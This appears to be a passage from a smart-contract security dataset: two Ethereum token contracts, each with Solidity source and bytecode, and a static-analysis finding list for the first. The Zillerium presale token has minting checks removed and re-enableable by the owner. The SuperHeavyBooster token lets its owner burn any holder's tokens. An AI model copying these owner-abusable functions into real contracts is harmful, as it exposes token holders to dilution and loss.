pragma solidity 0.4.15;
// This code was taken from https://etherscan.io/address/0x3931E02C9AcB4f68D7617F19617A20acD3642607#code
// This was a presale from ProofSuite.com
// This was based on https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/crowdsale/Crowdsale.sol from what I saw
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
function transferFrom(address _from, address _to, uint256 _value) returns (bool);
function approve(address _spender, uint256 _value) returns (bool);
function allowance(address _owner, address _spender) constant returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* @title ZilleriumPresaleToken (ZILL)
* Standard Mintable ERC20 Token
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ZilleriumPresaleToken is ERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
string public constant name = "Zillerium Presale Token";
string public constant symbol = "ZILL";
uint8 public constant decimals = 18;
bool public mintingFinished = false;
event Mint(address indexed to, uint256 amount);
event MintFinished();
function ZilleriumPresaleToken() {}
function() payable {
revert();
}
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
// canMint removed from this line - the function kept failing on canMint
function mint(address _to, uint256 _amount) onlyOwner returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function allowMinting() onlyOwner returns (bool) {
mintingFinished = false;
return true;
}
}
/**
* @title ZilleriumPresale
* ZilleriumPresale allows investors to make
* token purchases and assigns them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract ZilleriumPresale is Pausable {
using SafeMath for uint256;
ZilleriumPresaleToken public token;
address public wallet; //wallet towards which the funds are forwarded
uint256 public weiRaised; //total amount of ether raised
uint256 public cap; // cap above which the presale ends
uint256 public minInvestment; // minimum investment
uint256 public rate; // number of tokens for one ether
bool public isFinalized;
string public contactInformation;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* event for signaling finished crowdsale
*/
event Finalized();
function ZilleriumPresale() {
token = createTokenContract();
wallet = 0x898091cB76927EE5B41a731EE15dDFdd0560a67b; // live
// wallet = 0x48884f1f259a4fdbb22b77b56bfd486fe7784304; // testing
rate = 100;
minInvestment = 1 * (10**16); //minimum investment in wei (=.01 ether, this is based on wei being 10 to 18)
cap = 16600 * (10**18); //cap in token base units (=295257 tokens)
}
// creates presale token
function createTokenContract() internal returns (ZilleriumPresaleToken) {
return new ZilleriumPresaleToken();
}
// fallback function to buy tokens
function () payable {
buyTokens(msg.sender);
}
/**
* Low level token purchse function
* @param beneficiary will recieve the tokens.
*/
function buyTokens(address beneficiary) payable whenNotPaused {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// update weiRaised
weiRaised = weiRaised.add(weiAmount);
// compute amount of tokens created
uint256 tokens = weiAmount.mul(rate);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
uint256 weiAmount = weiRaised.add(msg.value);
bool notSmallAmount = msg.value >= minInvestment;
bool withinCap = weiAmount.mul(rate) <= cap;
return (notSmallAmount && withinCap);
}
//allow owner to finalize the presale once the presale is ended
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
token.finishMinting();
Finalized();
isFinalized = true;
}
function setContactInformation(string info) onlyOwner {
contactInformation = info;
}
//return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
bool capReached = (weiRaised.mul(rate) >= cap);
return capReached;
}
}
|
0x606060405236156100d9576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100e157806306fdde031461010e578063095ea7b31461019d5780631602a124146101f757806318160ddd1461022457806323b872dd1461024d578063313ce567146102c657806340c10f19146102f557806370a082311461034f5780637d64bcb41461039c5780638da5cb5b146103c957806395d89b411461041e578063a9059cbb146104ad578063dd62ed3e14610507578063f2fde38b14610573575b5b600080fd5b005b34156100ec57600080fd5b6100f46105ac565b604051808215151515815260200191505060405180910390f35b341561011957600080fd5b6101216105bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101625780820151818401525b602081019050610146565b50505050905090810190601f16801561018f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a857600080fd5b6101dd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105f8565b604051808215151515815260200191505060405180910390f35b341561020257600080fd5b61020a6106eb565b604051808215151515815260200191505060405180910390f35b341561022f57600080fd5b61023761076d565b6040518082815260200191505060405180910390f35b341561025857600080fd5b6102ac600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610773565b604051808215151515815260200191505060405180910390f35b34156102d157600080fd5b6102d9610a24565b604051808260ff1660ff16815260200191505060405180910390f35b341561030057600080fd5b610335600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a29565b604051808215151515815260200191505060405180910390f35b341561035a57600080fd5b610386600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b91565b6040518082815260200191505060405180910390f35b34156103a757600080fd5b6103af610bdb565b604051808215151515815260200191505060405180910390f35b34156103d457600080fd5b6103dc610c89565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561042957600080fd5b610431610caf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104725780820151818401525b602081019050610456565b50505050905090810190601f16801561049f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104b857600080fd5b6104ed600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ce8565b604051808215151515815260200191505060405180910390f35b341561051257600080fd5b61055d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e84565b6040518082815260200191505060405180910390f35b341561057e57600080fd5b6105aa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f0c565b005b600460009054906101000a900460ff1681565b6040805190810160405280601781526020017f5a696c6c657269756d2050726573616c6520546f6b656e00000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561074957600080fd5b6000600460006101000a81548160ff021916908315150217905550600190505b5b90565b60005481565b600080600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061084783600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108dc83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100990919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932838261100990919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505b509392505050565b601281565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8757600080fd5b610a9c82600054610fea90919063ffffffff16565b600081905550610af482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a2600190505b5b92915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3957600080fd5b6001600460006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a1600190505b5b90565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f5a494c4c0000000000000000000000000000000000000000000000000000000081525081565b6000610d3c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461100990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dd182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610fa457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b6000808284019050838110151515610ffe57fe5b8091505b5092915050565b600082821115151561101757fe5b81830390505b929150505600a165627a7a72305820de597819bd3ca01d9893cfa1387cb595bb5f668a4042a10867893f67c98ce7400029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,762 |
0x12be2d23a9577f202c2c79fe0ded3336b9b582dc
|
/**
*Submitted for verification at Etherscan.io on 2021-08-04
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-04
*/
pragma solidity ^0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () public {
_name = 'Super Heavy Booster 4 | https://t.me/superheavybooster4';
_symbol = 'SHB4';
_decimals = 18;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _init(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract SuperHeavyBooster is
ERC20,
Ownable {
bool public mintCheck=true;
constructor () public
ERC20 () {
_init(msg.sender,10000000000000e18);
}
function mintcheck(bool _mintcheck) public onlyOwner {
mintCheck=_mintcheck;
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80638da5cb5b116100a2578063a9059cbb11610071578063a9059cbb1461031b578063d824f36214610347578063dd62ed3e14610366578063f2fde38b14610394578063f6e9684b146103ba5761010b565b80638da5cb5b1461029757806395d89b41146102bb5780639dc29fac146102c3578063a457c2d7146102ef5761010b565b8063313ce567116100de578063313ce5671461021d578063395093511461023b57806370a0823114610267578063715018a61461028d5761010b565b806306fdde0314610110578063095ea7b31461018d57806318160ddd146101cd57806323b872dd146101e7575b600080fd5b6101186103c2565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015257818101518382015260200161013a565b50505050905090810190601f16801561017f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b9600480360360408110156101a357600080fd5b506001600160a01b038135169060200135610458565b604080519115158252519081900360200190f35b6101d56104d4565b60408051918252519081900360200190f35b6101b9600480360360608110156101fd57600080fd5b506001600160a01b038135811691602081013590911690604001356104da565b61022561059d565b6040805160ff9092168252519081900360200190f35b6101b96004803603604081101561025157600080fd5b506001600160a01b0381351690602001356105a6565b6101d56004803603602081101561027d57600080fd5b50356001600160a01b031661064e565b610295610669565b005b61029f610716565b604080516001600160a01b039092168252519081900360200190f35b61011861072a565b610295600480360360408110156102d957600080fd5b506001600160a01b03813516906020013561078b565b6101b96004803603604081101561030557600080fd5b506001600160a01b0381351690602001356107f6565b6101b96004803603604081101561033157600080fd5b506001600160a01b038135169060200135610839565b6102956004803603602081101561035d57600080fd5b5035151561084f565b6101d56004803603604081101561037c57600080fd5b506001600160a01b03813581169160200135166108ca565b610295600480360360208110156103aa57600080fd5b50356001600160a01b03166108f5565b6101b96109fe565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561044e5780601f106104235761010080835404028352916020019161044e565b820191906000526020600020905b81548152906001019060200180831161043157829003601f168201915b5050505050905090565b60006001600160a01b03831661046d57600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b03831660009081526001602090815260408083203384529091528120546105089083610a27565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610537848484610a3c565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b0383166105bb57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105e99083610a0e565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b031660009081526020819052604090205490565b610671610afb565b60055461010090046001600160a01b039081169116146106c6576040805162461bcd60e51b81526020600482018190526024820152600080516020610bc1833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561044e5780601f106104235761010080835404028352916020019161044e565b610793610afb565b60055461010090046001600160a01b039081169116146107e8576040805162461bcd60e51b81526020600482018190526024820152600080516020610bc1833981519152604482015290519081900360640190fd5b6107f28282610aff565b5050565b60006001600160a01b03831661080b57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105e99083610a27565b6000610846338484610a3c565b50600192915050565b610857610afb565b60055461010090046001600160a01b039081169116146108ac576040805162461bcd60e51b81526020600482018190526024820152600080516020610bc1833981519152604482015290519081900360640190fd5b60058054911515600160a81b0260ff60a81b19909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108fd610afb565b60055461010090046001600160a01b03908116911614610952576040805162461bcd60e51b81526020600482018190526024820152600080516020610bc1833981519152604482015290519081900360640190fd5b6001600160a01b0381166109975760405162461bcd60e51b8152600401808060200182810382526026815260200180610b9b6026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600554600160a81b900460ff1681565b600082820183811015610a2057600080fd5b9392505050565b600082821115610a3657600080fd5b50900390565b6001600160a01b038216610a4f57600080fd5b6001600160a01b038316600090815260208190526040902054610a729082610a27565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610aa19082610a0e565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610b1257600080fd5b600254610b1f9082610a27565b6002556001600160a01b038216600090815260208190526040902054610b459082610a27565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4